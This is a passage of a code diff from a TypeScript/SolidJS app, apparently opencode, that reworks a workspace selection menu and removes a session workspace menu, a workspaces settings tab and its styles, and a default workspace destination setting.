-            <Icon name={icon()} class="shrink-0 text-v2-icon-icon-muted" />
-            <span class="min-w-0 truncate">{label()}</span>
-            <Show when={props.onboarding}>
-              <span
-                data-slot="workspace-onboarding-dot"
-                aria-hidden="true"
-                class="size-1.5 shrink-0 rounded-full bg-v2-text-text-accent"
-              />
+      <MenuV2 placement="bottom" gutter={4} onOpenChange={onOpenChange}>
+        <MenuV2.Trigger class="flex h-7 min-w-0 max-w-[203px] items-center gap-1.5 rounded-sm px-1.5 hover:bg-v2-overlay-simple-overlay-hover focus-visible:bg-v2-overlay-simple-overlay-hover focus-visible:outline-none data-[expanded]:bg-v2-overlay-simple-overlay-pressed data-[expanded]:text-v2-text-text-muted">
+          <IconV2 name={icon()} class="shrink-0 text-v2-icon-icon-muted" />
+          <span class="min-w-0 truncate">{label()}</span>
+          <Icon name="chevron-down" size="small" class="shrink-0 text-v2-icon-icon-muted" />
+        </MenuV2.Trigger>
+        <MenuV2.Portal>
+          <MenuV2.Content class="w-[180px]">
+            <MenuV2.Group>
+              <MenuV2.GroupLabel>{language.t("session.new.workspace.runIn")}</MenuV2.GroupLabel>
+              <MenuV2.Item onSelect={() => select("main")}>
+                <IconV2 name="monitor" />
+                <span class="min-w-0 flex-1 truncate">{language.t("session.new.workspace.local")}</span>
+                <Show when={selected() === "main"}>
+                  <Icon name="check" size="small" class="shrink-0" />
+                </Show>
+              </MenuV2.Item>
+              <MenuV2.Item onSelect={() => select("create")}>
+                <IconV2 name="workspace-new" />
+                <span class="min-w-0 flex-1 truncate">{language.t("workspace.new")}</span>
+                <Show when={selected() === "create"}>
+                  <Icon name="check" size="small" class="shrink-0" />
+                </Show>
+              </MenuV2.Item>
+            </MenuV2.Group>
+            <Show when={props.workspaces.length > 0}>
+              <MenuV2.Separator />
+              <MenuV2.Sub gutter={0} overlap overflowPadding={8}>
+                <MenuV2.SubTrigger>
+                  <IconV2 name="workspace" />
+                  {language.t("session.new.workspace.existing")}
+                </MenuV2.SubTrigger>
+                <MenuV2.Portal>
+                  <MenuV2.SubContent class="max-w-[200px]">
+                    <For each={props.workspaces}>
+                      {(workspace) => (
+                        <MenuV2.Item onSelect={() => select(workspace)}>
+                          <IconV2 name="workspace-isolated" />
+                          <span class="min-w-0 flex-1 truncate">{getFilename(workspace)}</span>
+                          <Show when={selected() === workspace}>
+                            <Icon name="check" size="small" class="shrink-0" />
+                          </Show>
+                        </MenuV2.Item>
+                      )}
+                    </For>
+                  </MenuV2.SubContent>
+                </MenuV2.Portal>
+              </MenuV2.Sub>
             </Show>
-            <Icon name="chevron-down" size="small" class="shrink-0 text-v2-icon-icon-muted" />
-          </MenuV2.Trigger>
-          <MenuV2.Portal>
-            <MenuV2.Content class="w-[200px]">
-              <MenuV2.Group>
-                <MenuV2.GroupLabel>{language.t("session.new.workspace.runIn")}</MenuV2.GroupLabel>
-                <MenuV2.Item onSelect={() => select("main")}>
-                  <Icon name="monitor" />
-                  <TooltipV2
-                    placement="right"
-                    openDelay={800}
-                    value={
-                      <span class="flex flex-col gap-0.5">
-                        <span>{language.t("session.new.workspace.local")}</span>
-                        <span class="font-[440] text-v2-text-text-muted">
-                          {language.t("session.new.workspace.local.tooltip")}
-                        </span>
-                      </span>
-                    }
-                    class="min-w-0 flex-1"
-                  >
-                    <span class="min-w-0 truncate">{language.t("session.new.workspace.local")}</span>
-                  </TooltipV2>
-                  <Show when={selected() === "main"}>
-                    <Icon name="check" size="small" class="shrink-0" />
-                  </Show>
-                </MenuV2.Item>
-                <MenuV2.Item onSelect={() => select("create")}>
-                  <Icon name="workspace-new" />
-                  <TooltipV2
-                    placement="right"
-                    openDelay={800}
-                    value={
-                      <span class="flex flex-col gap-0.5">
-                        <span>{language.t("workspace.new")}</span>
-                        <span class="font-[440] text-v2-text-text-muted">
-                          {language.t("session.new.workspace.new.tooltip")}
-                        </span>
-                      </span>
-                    }
-                    class="min-w-0 flex-1"
-                  >
-                    <span class="min-w-0 truncate">{language.t("workspace.new")}</span>
-                  </TooltipV2>
-                  <Show when={selected() === "create"}>
-                    <Icon name="check" size="small" class="shrink-0" />
-                  </Show>
-                </MenuV2.Item>
-              </MenuV2.Group>
-              <Show
-                when={props.workspaces.length > 0}
-                fallback={
-                  <>
-                    <MenuV2.Separator class="h-[0.5px]" />
-                    <MenuV2.Item onSelect={() => (pending = { type: "viewAll" })}>
-                      <span class="min-w-0 flex-1 truncate">{language.t("common.viewAll")}</span>
-                    </MenuV2.Item>
-                  </>
-                }
-              >
-                <MenuV2.Separator class="h-[0.5px]" />
-                <MenuV2.Sub
-                  gutter={0}
-                  overlap
-                  overflowPadding={8}
-                  onOpenChange={(open) => {
-                    if (!open) {
-                      focusSearch = false
-                      return
-                    }
-                    if (!focusSearch || props.workspaces.length < 10) return
-                    focusSearch = false
-                    requestAnimationFrame(() => searchInput?.focus())
-                  }}
-                >
-                  <MenuV2.SubTrigger
-                    onKeyDown={(event) => {
-                      if (
-                        event.key === "ArrowRight" ||
-                        event.key === "ArrowLeft" ||
-                        event.key === "Enter" ||
-                        event.key === " "
-                      )
-                        focusSearch = true
-                    }}
-                  >
-                    <Icon name="workspace-isolated" />
-                    <span class="min-w-0 flex-1 truncate">
-                      {language.t("session.new.workspace.existing").replace(/(…|\.{3})$/, "")}
-                    </span>
-                  </MenuV2.SubTrigger>
-                  <MenuV2.Portal>
-                    <MenuV2.SubContent class="max-h-[calc(100dvh-16px)] w-[200px] overflow-y-auto">
-                      <Show when={props.workspaces.length >= 10}>
-                        <div class="flex h-7 items-center gap-2 rounded-sm ps-3 pe-2 text-v2-icon-icon-muted">
-                          <Icon name="magnifying-glass" size="small" class="shrink-0" />
-                          <input
-                            ref={(element) => {
-                              searchInput = element
-                            }}
-                            value={search()}
-                            placeholder={language.t("session.new.workspace.search.placeholder")}
-                            aria-label={language.t("session.new.workspace.search.placeholder")}
-                            class="h-7 min-w-0 flex-1 border-0 bg-transparent text-[13px] font-[440] leading-5 tracking-[-0.04px] text-v2-text-text-base outline-none placeholder:text-v2-text-text-faint"
-                            onInput={(event) => setSearch(event.currentTarget.value)}
-                            onKeyDown={(event) => {
-                              if (
-                                event.key === "Escape" ||
-                                event.key === "ArrowDown" ||
-                                event.key === "ArrowUp" ||
-                                event.key === "Enter"
-                              )
-                                return
-                              event.stopPropagation()
-                            }}
-                          />
-                        </div>
-                      </Show>
-                      <For each={workspaces()}>
-                        {(workspace) => (
-                          <MenuV2.Item onSelect={() => select(workspace)}>
-                            <Icon name="workspace-isolated" />
-                            <span class="min-w-0 flex-1 truncate">{getFilename(workspace)}</span>
-                            <Show when={selected() === workspace}>
-                              <Icon name="check" size="small" class="shrink-0" />
-                            </Show>
-                          </MenuV2.Item>
-                        )}
-                      </For>
-                      <MenuV2.Separator class="h-[0.5px]" />
-                      <MenuV2.Item onSelect={() => (pending = { type: "viewAll" })}>
-                        <span class="min-w-0 flex-1 truncate">{language.t("common.viewAll")}</span>
-                      </MenuV2.Item>
-                    </MenuV2.SubContent>
-                  </MenuV2.Portal>
-                </MenuV2.Sub>
-              </Show>
-            </MenuV2.Content>
-          </MenuV2.Portal>
-        </MenuV2>
-      </TooltipV2>
-      <PromptGitStatus branch={props.branch} from={selected() === "create"} class="ms-1" />
+          </MenuV2.Content>
+        </MenuV2.Portal>
+      </MenuV2>
+      <PromptGitStatus branch={props.branch} />
     </>
   )
 }
 
-export function PromptGitStatus(props: { branch?: string; noGit?: boolean; from?: boolean; class?: string }) {
+export function PromptGitStatus(props: { branch?: string; noGit?: boolean }) {
   const language = useLanguage()
   const label = () => {
     if (props.noGit) return language.t("session.new.git.none")
-    if (!props.branch) return undefined
-    if (props.from) return language.t("session.new.workspace.fromBranch", { branch: props.branch })
     return props.branch
   }
 
-  const icon = () => {
-    if (props.noGit) return "monitor"
-    if (props.from) return "branch-out"
-    return "branch"
-  }
-
   return (
     <Show when={label()}>
       {(value) => (
-        <TooltipV2
-          placement="top"
-          value={value()}
-          class={`min-w-0 max-w-[220px] ${props.class ?? ""}`}
-          contentClass="max-w-[calc(100vw-32px)] break-all"
-        >
-          <div class="flex h-6 min-w-0 max-w-[220px] items-center gap-1.5 rounded-full bg-v2-background-bg-layer-02 px-2.5 text-[13px] font-[440] leading-5 tracking-[-0.04px] text-v2-text-text-faint">
-            <Icon name={icon()} size="small" class="shrink-0 text-v2-icon-icon-muted" />
-            <span class="min-w-0 truncate">{value()}</span>
-          </div>
-        </TooltipV2>
+        <>
+          <span class="hidden select-none opacity-50 sm:inline mx-1">/</span>
+          <TooltipV2
+            placement="top"
+            value={value()}
+            class="min-w-0 max-w-[220px]"
+            contentClass="max-w-[calc(100vw-32px)] break-all"
+          >
+            <div class="flex h-7 min-w-0 max-w-[220px] items-center gap-1.5 px-2 text-[13px] font-[440] leading-5 tracking-[-0.04px]">
+              <Icon name="branch" size="small" class="shrink-0 text-v2-icon-icon-muted" />
+              <span class="min-w-0 truncate">{value()}</span>
+            </div>
+          </TooltipV2>
+        </>
       )}
     </Show>
   )

packages/app/src/components/session-workspace-menu.tsx

@@ -1,141 +0,0 @@
-import { MenuV2 } from "@opencode-ai/ui/v2/menu-v2"
-import { Icon } from "@opencode-ai/ui/v2/icon"
-import { getDirectory, getFilename } from "@opencode-ai/core/util/path"
-import { createStore } from "solid-js/store"
-import { createSignal, For, Show, type ComponentProps, type JSX } from "solid-js"
-import type { Project } from "@/types"
-import { useLanguage } from "@/context/language"
-import { useServerSDK } from "@/context/server-sdk"
-import { useServerSync } from "@/context/server-sync"
-import { useSettingsDialog } from "@/components/settings-dialog"
-import { pathKey } from "@/utils/path-key"
-import { showToast } from "@/utils/toast"
-import { workspaceDirectories } from "@/utils/workspace"
-
-export function SessionWorkspaceMenu(props: {
-  eligible?: boolean
-  sessionID: string
-  project: Project
-  directory: string
-  messageID?: string
-  placement?: ComponentProps<typeof MenuV2>["placement"]
-  gutter?: number
-  class?: string
-  contentClass?: string
-  children: JSX.Element
-  onOpenChange?: (open: boolean) => void
-}) {
-  const language = useLanguage()
-  const serverSDK = useServerSDK()
-  const serverSync = useServerSync()
-  const openWorkspaces = useSettingsDialog("workspaces")
-  const [store, setStore] = createStore({ selected: undefined as string | undefined })
-  const [directories, setDirectories] = createSignal(workspaceDirectories(props.project))
-  const blocked = () => props.eligible === false || serverSync().session.data.session_working(props.sessionID)
-  const workspaces = () => directories().filter((workspace) => pathKey(workspace) !== pathKey(props.directory))
-  const onOpenChange = (open: boolean) => {
-    props.onOpenChange?.(open)
-    if (!open) return
-    const sdk = serverSDK()
-    void sdk.api.projectCopy
-      .refresh({ projectID: props.project.id, location: { directory: props.directory } })
-      .then(() =>
-        sdk.api.project.directories({ projectID: props.project.id, location: { directory: props.directory } }),
-      )
-      .then((items) =>
-        setDirectories(items.filter((item) => item.strategy !== undefined).map((item) => item.directory)),
-      )
-      .catch(() => undefined)
-  }
-  const move = async (selection: "create" | string) => {
-    if (store.selected || blocked()) return
-    const sdk = serverSDK()
-    const sessionID = props.sessionID
-    const source = props.directory
-    setStore("selected", selection)
-
-    try {
-      const destination = selection === "create" ? await createWorkspace(props.project, source, sdk) : selection
-      if (!destination) return
-
-      await sdk.api.session.move({ sessionID, directory: destination })
-    } catch (error) {
-      showToast({
-        variant: "error",
-        title: language.t("workspace.move.failed"),
-        description: error instanceof Error ? error.message : language.t("common.requestFailed"),
-      })
-    } finally {
-      setStore("selected", undefined)
-    }
-  }
-
-  return (
-    <MenuV2
-      placement={props.placement ?? "bottom-end"}
-      gutter={props.gutter ?? 4}
-      modal={false}
-      onOpenChange={onOpenChange}
-    >
-      <MenuV2.Trigger class={props.class} disabled={blocked()}>
-        {props.children}
-      </MenuV2.Trigger>
-      <MenuV2.Portal>
-        <MenuV2.Content class={`w-[200px] ${props.contentClass ?? ""}`}>
-          <MenuV2.Group>
-            <MenuV2.GroupLabel>{language.t("workspace.move.menu.title")}</MenuV2.GroupLabel>
-            <Show when={pathKey(props.directory) !== pathKey(props.project.worktree)}>
-              <MenuV2.Item disabled={!!store.selected || blocked()} onSelect={() => void move(props.project.worktree)}>
-                <Icon name="monitor" />
-                {language.t("session.new.workspace.local")}
-              </MenuV2.Item>
-            </Show>
-            <MenuV2.Item disabled={!!store.selected || blocked()} onSelect={() => void move("create")}>
-              <Icon name="workspace-new" />
-              {language.t("workspace.new")}
-            </MenuV2.Item>
-            <Show when={workspaces().length > 0}>
-              <MenuV2.Sub gutter={0} overlap overflowPadding={8}>
-                <MenuV2.SubTrigger>
-                  <Icon name="workspace-isolated" />
-                  {language.t("session.new.workspace.existing").replace(/(…|\.{3})$/, "")}
-                </MenuV2.SubTrigger>
-                <MenuV2.Portal>
-                  <MenuV2.SubContent class="max-h-[calc(100dvh-16px)] w-[200px] overflow-y-auto">
-                    <For each={workspaces()}>
-                      {(workspace) => (
-                        <MenuV2.Item disabled={!!store.selected || blocked()} onSelect={() => void move(workspace)}>
-                          <Icon name="workspace-isolated" />
-                          <span class="min-w-0 flex-1 truncate">{getFilename(workspace)}</span>
-                        </MenuV2.Item>
-                      )}
-                    </For>
-                  </MenuV2.SubContent>
-                </MenuV2.Portal>
-              </MenuV2.Sub>
-            </Show>
-          </MenuV2.Group>
-          <MenuV2.Separator class="h-[0.5px] bg-v2-border-border-base" />
-          <MenuV2.Item onSelect={() => openWorkspaces()}>
-            <span class="min-w-0 flex-1 truncate">{language.t("common.viewAll")}</span>
-          </MenuV2.Item>
-        </MenuV2.Content>
-      </MenuV2.Portal>
-    </MenuV2>
-  )
-}
-
-async function createWorkspace(
-  project: Project,
-  source: string,
-  serverSDK: ReturnType<ReturnType<typeof useServerSDK>>,
-) {
-  const created = await serverSDK.api.projectCopy.create({
-    projectID: project.id,
-    strategy: "git_worktree",
-    directory: getDirectory(source),
-    location: { directory: source },
-  })
-  await serverSDK.api.location.get({ location: { directory: created.directory } })
-  return created.directory
-}

packages/app/src/components/settings-v2/dialog-settings-v2.tsx

@@ -11,7 +11,6 @@ import { SettingsNotificationsV2 } from "./notifications"
 import { SettingsProvidersV2 } from "./providers"
 import { SettingsModelsV2 } from "./models"
 import { SettingsServersV2 } from "./servers"
-import { SettingsWorkspacesV2 } from "./workspaces"
 import { SettingsProjectsV2 } from "./projects"
 import { SettingsExtensionsV2 } from "./extensions"
 import { SettingsServerScope } from "../settings-server-picker"
@@ -96,10 +95,6 @@ export const DialogSettings: Component<{
                   <Icon name="folder" />
                   {language.t("settings.tab.projects")}
                 </TabsV2.Trigger>
-                <TabsV2.Trigger value="workspaces">
-                  <Icon name="workspace-isolated" />
-                  {language.t("settings.tab.workspaces")}
-                </TabsV2.Trigger>
               </div>
 
               {/* Group 3: Capabilities & Extensions */}
@@ -145,9 +140,6 @@ export const DialogSettings: Component<{
           <SettingsProjectsV2 />
         </TabsV2.Content>
         <SettingsServerScope directory={directory()}>
-          <TabsV2.Content value="workspaces" class="settings-v2-panel">
-            <SettingsWorkspacesV2 activeDirectory={directory()} />
-          </TabsV2.Content>
           <TabsV2.Content value="providers" class="settings-v2-panel">
             <SettingsProvidersV2 directory={directory()} onBack={showProviders} />
           </TabsV2.Content>

packages/app/src/components/settings-v2/general.tsx

@@ -7,7 +7,7 @@ import { TextInputV2 } from "@opencode-ai/ui/v2/text-input-v2"
 import { useLanguage } from "@/context/language"
 import { usePlatform } from "@/context/platform"
 import { useUpdaterAction } from "../updater-action"
-import { type WorkspaceDefaultDestination, useSettings } from "@/context/settings"
+import { useSettings } from "@/context/settings"
 import { ExternalLink } from "../external-link"
 import { SettingsListV2 } from "./parts/list"
 import { SettingsRowV2 } from "./parts/row"
@@ -85,34 +85,6 @@ const PermissionScopeSetting: Component<{ controller: PermissionScopeController
   )
 }
 
-const WorkspaceDestinationSetting: Component = () => {
-  const language = useLanguage()
-  const settings = useSettings()
-  const options = createMemo((): { value: WorkspaceDefaultDestination; label: string }[] => [
-    { value: "last-used", label: language.t("settings.workspaces.default.lastUsed") },
-    { value: "local", label: language.t("settings.workspaces.default.local") },
-    { value: "new", label: language.t("settings.workspaces.default.new") },
-  ])
-
-  return (
-    <SettingsRowV2
-      title={language.t("settings.workspaces.default.title")}
-      description={language.t("settings.workspaces.default.description")}
-    >
-      <SelectV2
-        appearance="inline"
-        options={options()}
-        current={options().find((option) => option.value === settings.workspaces.defaultDestination())}
-        value={(option) => option.value}
-        label={(option) => option.label}
-        placement="bottom-end"
-        gutter={6}
-        onSelect={(option) => option && settings.workspaces.setDefaultDestination(option.value)}
-      />
-    </SettingsRowV2>
-  )
-}
-
 const ShellSetting: Component<{ controller: ShellSettingsController }> = (props) => {
   const language = useLanguage()
   const options = createMemo(() =>
@@ -328,7 +300,6 @@ export const SettingsGeneralV2: Component<{
       <SettingsListV2>
         <LanguageSetting />
 
-        <WorkspaceDestinationSetting />
         <PermissionScopeSetting controller={permissionScope} />
 
         <ShellSetting controller={shell} />
@@ -391,6 +362,18 @@ export const SettingsGeneralV2: Component<{
       <h3 class="settings-v2-section-title">{language.t("settings.general.section.advanced")}</h3>
 
       <SettingsListV2>
+        <SettingsRowV2
+          title={language.t("settings.general.row.showFileTree.title")}
+          description={language.t("settings.general.row.showFileTree.description")}
+        >
+          <div data-action="settings-show-file-tree">
+            <Switch
+              checked={settings.general.showFileTree()}
+              onChange={(checked) => settings.general.setShowFileTree(checked)}
+            />
+          </div>
+        </SettingsRowV2>
+
         <SettingsRowV2
           title={language.t("settings.general.row.showSearch.title")}
           description={language.t("settings.general.row.showSearch.description")}

packages/app/src/components/settings-v2/settings-v2.css

@@ -692,223 +692,6 @@
   color: var(--v2-text-text-base);
 }
 
-.settings-v2-tab-header.settings-v2-workspaces-header {
-  padding-bottom: 24px;
-}
-
-.settings-v2-workspaces-header .settings-v2-tab-title {
-  font-weight: 610;
-}
-
-.settings-v2-tab-body.settings-v2-workspaces {
-  gap: 16px;
-}
-
-.settings-v2-workspaces-toolbar {
-  display: flex;
-  min-width: 0;
-  align-items: center;
-  justify-content: space-between;
-  gap: 16px;
-}
-
-.settings-v2-workspaces-count {
-  font-size: 15px;
-  font-weight: 530;
-  line-height: 1;
-  color: var(--v2-text-text-base);
-}
-
-.settings-v2-workspaces-toolbar-actions {
-  display: flex;
-  align-items: center;
-  gap: 4px;
-}
-
-.settings-v2-workspaces-delete-all {
-  color: var(--v2-state-fg-danger);
-}
-
-.settings-v2-workspaces-inventory [data-component="settings-v2-list"] {
-  display: flex;
-  flex-direction: column;
-  gap: 0;
-  padding: 20px;
-  border-radius: 6px;
-  background-color: var(--v2-background-bg-base);
-  box-shadow: inset 0 0 0 0.5px var(--v2-border-border-base);
-}
-
-.settings-v2-workspaces-row {
-  display: flex;
-  min-width: 0;
-  flex-direction: column;
-  gap: 12px;
-}
-
-.settings-v2-workspaces-row:not(:last-child) {
-  padding-bottom: 20px;
-  margin-bottom: 20px;
-  border-bottom: 0.5px solid var(--v2-border-border-base);
-}
-
-.settings-v2-workspaces-row-header {
-  display: flex;
-  min-width: 0;
-  align-items: flex-start;
-  justify-content: space-between;
-  gap: 20px;
-}
-
-.settings-v2-workspaces-copy {
-  display: flex;
-  min-width: 0;
-  flex: 1;
-  flex-direction: column;
-  gap: 8px;
-}
-
-.settings-v2-workspaces-main {
-  display: flex;
-  min-width: 0;
-}
-
-.settings-v2-workspaces-row-actions {
-  display: flex;
-  flex-shrink: 0;
-  align-items: center;
-  justify-content: flex-end;
-  gap: 12px;
-}
-
-.settings-v2-workspaces-main [data-component="tooltip-v2-trigger"] {
-  min-width: 0;
-}
-
-.settings-v2-workspaces-path {
-  display: block;
-  min-width: 0;
-  overflow: hidden;
-  color: var(--v2-text-text-base);
-  font-family: inherit;
-  font-size: 13px;
-  font-weight: 530;
-  line-height: 1;
-  letter-spacing: -0.04px;
-  text-overflow: ellipsis;
-  white-space: nowrap;
-  padding: 0;
-  text-align: left;
-  cursor: default;
-}
-
-.settings-v2-workspaces-meta {
-  font-size: 13px;
-  font-weight: 440;
-  line-height: 1;
-  color: var(--v2-text-text-faint);
-}
-
-.settings-v2-workspaces-active,
-.settings-v2-workspaces-more {
-  flex-shrink: 0;
-  font-size: 11px;
-  font-weight: 440;
-  line-height: 1;
-  color: var(--v2-text-text-faint);
-}
-
-.settings-v2-workspaces-sessions {
-  display: flex;
-  flex-direction: column;
-  border: 0.5px solid var(--v2-border-border-base);
-  border-radius: 4px;
-  background-color: var(--v2-background-bg-base);
-  overflow: hidden;
-}
-
-.settings-v2-workspaces-session {
-  display: flex;
-  min-width: 0;
-  align-items: center;
-  justify-content: space-between;
-  gap: 12px;
-  padding: 10px 12px;
-  font-size: 13px;
-  font-weight: 440;
-  line-height: 16px;
-  color: var(--v2-text-text-base);
-}
-
-.settings-v2-workspaces-session:not(:last-child) {
-  border-bottom: 0.5px solid var(--v2-border-border-base);
-}
-
-.settings-v2-workspaces-session > span:first-child {
-  min-width: 0;
-  overflow: hidden;
-  text-overflow: ellipsis;
-  white-space: nowrap;
-}
-
-.settings-v2-workspaces-session-time {
-  flex-shrink: 0;
-  font-size: 11px;
-  line-height: 1;
-  color: var(--v2-text-text-muted);
-}
-
-.settings-v2-workspaces-empty {
-  display: flex;
-  align-items: center;
-  justify-content: center;
-  padding-block: 48px;
-  font-size: 13px;
-  font-weight: 440;
-  line-height: 1;
-  color: var(--v2-text-text-muted);
-}
-
-@media (max-width: 639px) {
-  .settings-v2-workspaces-header {
-    padding: 24px 20px 20px;
-  }
-
-  .settings-v2-tab-body.settings-v2-workspaces {
-    padding: 0 20px 24px;
-  }
-
-  .settings-v2-workspaces-toolbar,
-  .settings-v2-workspaces-main {
-    align-items: flex-start;
-  }
-
-  .settings-v2-workspaces-toolbar {
-    flex-wrap: wrap;
-  }
-
-  .settings-v2-workspaces-toolbar-actions {
-    width: 100%;
-    flex-wrap: wrap;
-    justify-content: space-between;
-  }
-
-  .settings-v2-workspaces-inventory [data-component="settings-v2-list"] {
-    padding: 14px;
-  }
-
-  .settings-v2-workspaces-path {
-    overflow: visible;
-    text-overflow: clip;
-    white-space: normal;
-    overflow-wrap: anywhere;
-  }
-
-  .settings-v2-workspaces-active {
-    display: none;
-  }
-}
-
 [data-component="dialog-v2"].settings-v2-server-dialog [data-slot="dialog-container"] {
   width: 480px;
   max-width: calc(100vw - 32px);

packages/app/src/components/settings-v2/workspaces.tsx

@@ -1,492 +0,0 @@
-import type { Component } from "solid-js"
-import { For, Show, createMemo } from "solid-js"
-import { createStore, produce } from "solid-js/store"
-import type { SessionInfo } from "@opencode-ai/client/promise"
-import { useQuery } from "@tanstack/solid-query"
-import { ButtonV2 } from "@opencode-ai/ui/v2/button-v2"
-import { Dialog, DialogFooter, DialogHeader, DialogTitleGroup } from "@opencode-ai/ui/v2/dialog-v2"
-import { Icon } from "@opencode-ai/ui/v2/icon"
-import { IconButtonV2 } from "@opencode-ai/ui/v2/icon-button-v2"
-import { MenuV2 } from "@opencode-ai/ui/v2/menu-v2"
-import { TooltipV2 } from "@opencode-ai/ui/v2/tooltip-v2"
-import { useDialog } from "@opencode-ai/ui/context/dialog"
-import { getFilename } from "@opencode-ai/core/util/path"
-import { useLanguage } from "@/context/language"
-import { useServerSDK } from "@/context/server-sdk"
-import { useServerSync } from "@/context/server-sync"
-import { showToast } from "@/utils/toast"
-import { getRelativeTime } from "@/utils/time"
-import { pathKey } from "@/utils/path-key"
-import { SettingsListV2 } from "./parts/list"
-import { InlineServerSelect } from "./parts/server-select"
-import { useTabs } from "@/context/tabs"
-import { usePlatform } from "@/context/platform"
-import { clearWorkspaceTerminals } from "@/context/terminal"
-import { ServerConnection } from "@/context/server"
-import type { Project } from "@/types"
-import {
-  containsDirectory,
-  filterWorkspaceInventory,
-  inspectWorkspaceDeletion,
-  mergeWorkspaceSessionInventory,
-  removeWorkspacesSequentially,
-  sessionsForWorkspace,
-  type WorkspaceDeleteInspection,
-  workspaceInventory,
-} from "@/utils/workspace"
-import { listAllSessions } from "@/utils/session"
-import type { ServerScope } from "@/utils/server-scope"
-import "./settings-v2.css"
-
-type Workspace = {
-  directory: string
-  project: Project
-}
-
-export const SettingsWorkspacesV2: Component<{ activeDirectory?: string }> = (props) => {
-  const dialog = useDialog()
-  const language = useLanguage()
-  const serverSDK = useServerSDK()
-  const serverSync = useServerSync()
-  const tabs = useTabs()
-  const platform = usePlatform()
-  const [store, setStore] = createStore({
-    project: "all",
-    transaction: undefined as "confirm" | "running" | undefined,
-  })
-
-  const workspaces = createMemo(() => workspaceInventory(serverSync().data.project))
-  const projects = createMemo(() => serverSync().data.project.filter((project) => project.sandboxes?.length))
-  const projectName = (project: Project) => project.name || getFilename(project.worktree)
-  const projectOptions = createMemo(() => [
-    { id: "all", label: language.t("settings.workspaces.filter.all") },
-    ...projects().map((project) => ({ id: project.id, label: projectName(project) })),
-  ])
-  const selectedProject = createMemo(() =>
-    store.project === "all" || projects().some((project) => project.id === store.project) ? store.project : "all",
-  )
-  const filtered = createMemo(() => filterWorkspaceInventory(workspaces(), selectedProject()))
-  const captureDeleteContext = () => {
-    const sdk = serverSDK()
-    return { sdk, sync: serverSync(), server: ServerConnection.key(sdk.server), activeDirectory: props.activeDirectory }
-  }
-  const loadSessions = async (context = captureDeleteContext()) => {
-    const fetched = await listAllSessions(context.sdk.api.session, { order: "desc" })
-    return mergeWorkspaceSessionInventory(
-      fetched,
-      Object.values(context.sync.session.data.info).filter((session): session is SessionInfo => !!session),
-    )
-  }
-  const sessionQuery = useQuery(() => ({
-    queryKey: [serverSDK().scope, null, "settings-workspace-sessions"] as const,
-    queryFn: () => loadSessions(),
-    refetchOnMount: "always",
-  }))
-  const sessionsByWorkspace = createMemo(
-    () =>
-      new Map(
-        workspaces().map((workspace) => [
-          pathKey(workspace.directory),
-          sessionQuery.isSuccess ? sessionsForWorkspace(sessionQuery.data ?? [], workspace.directory) : [],
-        ]),
-      ),
-  )
-  const workspaceSessions = (workspace: Workspace) => sessionsByWorkspace().get(pathKey(workspace.directory)) ?? []
-  const sessionCount = (workspace: Workspace) => {
-    if (sessionQuery.isPending) return language.t("session.messages.loading")
-    if (sessionQuery.isError) return language.t("common.requestFailed")
-    const count = workspaceSessions(workspace).length
-    return language.plural("settings.workspaces.sessions", count, {
-      count,
-      project: projectName(workspace.project),
-    })
-  }
-  const lastActive = (workspace: Workspace) => {
-    const updated = workspaceSessions(workspace)[0]?.time.updated
-    if (!updated) return undefined
-    return getRelativeTime(new Date(updated).toISOString(), language.t)
-  }
-  const sessionTime = (session: SessionInfo) => {
-    if (!session.time.updated) return undefined
-    return getRelativeTime(new Date(session.time.updated).toISOString(), language.t)
-  }
-
-  const inspect = async (workspace: Workspace, context = captureDeleteContext()) => {
-    const [working, branch, sessions] = await Promise.all([
-      context.sdk.api.vcs.status({ location: { directory: workspace.directory } }),
-      context.sdk.api.vcs.diff({ location: { directory: workspace.directory }, mode: "branch" }),
-      loadSessions(context),
-    ])
-    const result = inspectWorkspaceDeletion({
-      workspace: workspace.directory,
-      activeDirectory: context.activeDirectory,
-      sessions,
-      status: working.data.length > 0 || branch.data.length > 0 ? "dirty" : "clean",
-    })
-    return { result, sessions }
-  }
-  const inspectionMessage = (result: WorkspaceDeleteInspection) => {
-    if (result === "active") return language.t("settings.workspaces.delete.blocked.active")
-    if (result === "linked") return language.t("settings.workspaces.delete.blocked.linked")
-    if (result === "dirty") return language.t("workspace.status.dirty")
-    return language.t("workspace.status.clean")
-  }
-  const blocked = (result: WorkspaceDeleteInspection) => {
-    showToast({
-      variant: "error",
-      title: language.t("workspace.delete.failed.title"),
-      description: inspectionMessage(result),
-    })
-  }
-
-  const remove = async (workspace: Workspace, allowDirty = false, context = captureDeleteContext()) => {
-    const preflight = await inspect(workspace, context)
-    if (preflight.result !== "safe" && (!allowDirty || preflight.result !== "dirty")) {
-      blocked(preflight.result)
-      return
-    }
-    const removed = await context.sdk.api.projectCopy
-      .remove({
-        projectID: workspace.project.id,
-        location: { directory: workspace.project.worktree },
-        directory: workspace.directory,
-        force: allowDirty,
-      })
-      .then(() => true)
-      .catch((error) => {
-        showToast({
-          variant: "error",
-          title: language.t("workspace.delete.failed.title"),
-          description: error instanceof Error ? error.message : language.t("common.requestFailed"),
-        })
-        return false
-      })
-    if (!removed) return
-    tabs.store.forEach((tab) => {
-      if (tab.type !== "draft" || tab.server !== context.server) return
-      const directoryMatches = containsDirectory(workspace.directory, tab.directory)
-      const worktreeMatches = tab.worktree && containsDirectory(workspace.directory, tab.worktree)
-      if (!directoryMatches && !worktreeMatches) return
-      tabs.updateDraft(tab.draftID, {
-        directory: directoryMatches ? workspace.project.worktree : tab.directory,
-        worktree: undefined,
-      })
-    })
-    clearWorkspaceTerminals(
-      workspace.directory,
-      preflight.sessions.map((session) => session.id),
-      platform,
-      context.sdk.scope,
-    )
-    context.sync.set(
-      "project",
-      produce((draft) => {
-        const project = draft.find((item) => item.id === workspace.project.id)
-        if (!project) return
-        project.sandboxes = (project.sandboxes ?? []).filter(
-          (directory) => pathKey(directory) !== pathKey(workspace.directory),
-        )
-      }),
-    )
-  }
-
-  let inspectionID = 0
-  const releaseConfirmation = () => {
-    if (store.transaction === "confirm") setStore("transaction", undefined)
-  }
-  const transact = async (task: () => Promise<void>) => {
-    if (store.transaction !== "confirm") return
-    setStore("transaction", "running")
-    try {
-      await task()
-    } catch (error) {
-      showToast({
-        variant: "error",
-        title: language.t("workspace.delete.failed.title"),
-        description: error instanceof Error ? error.message : language.t("common.requestFailed"),
-      })
-    } finally {
-      setStore("transaction", undefined)
-    }
-  }
-  const confirmDelete = (workspace: Workspace) => {
-    if (store.transaction) return
-    const context = captureDeleteContext()
-    const current = ++inspectionID
-    setStore("transaction", "confirm")
-    void dialog.push(
-      () => (
-        <DialogDeleteWorkspace
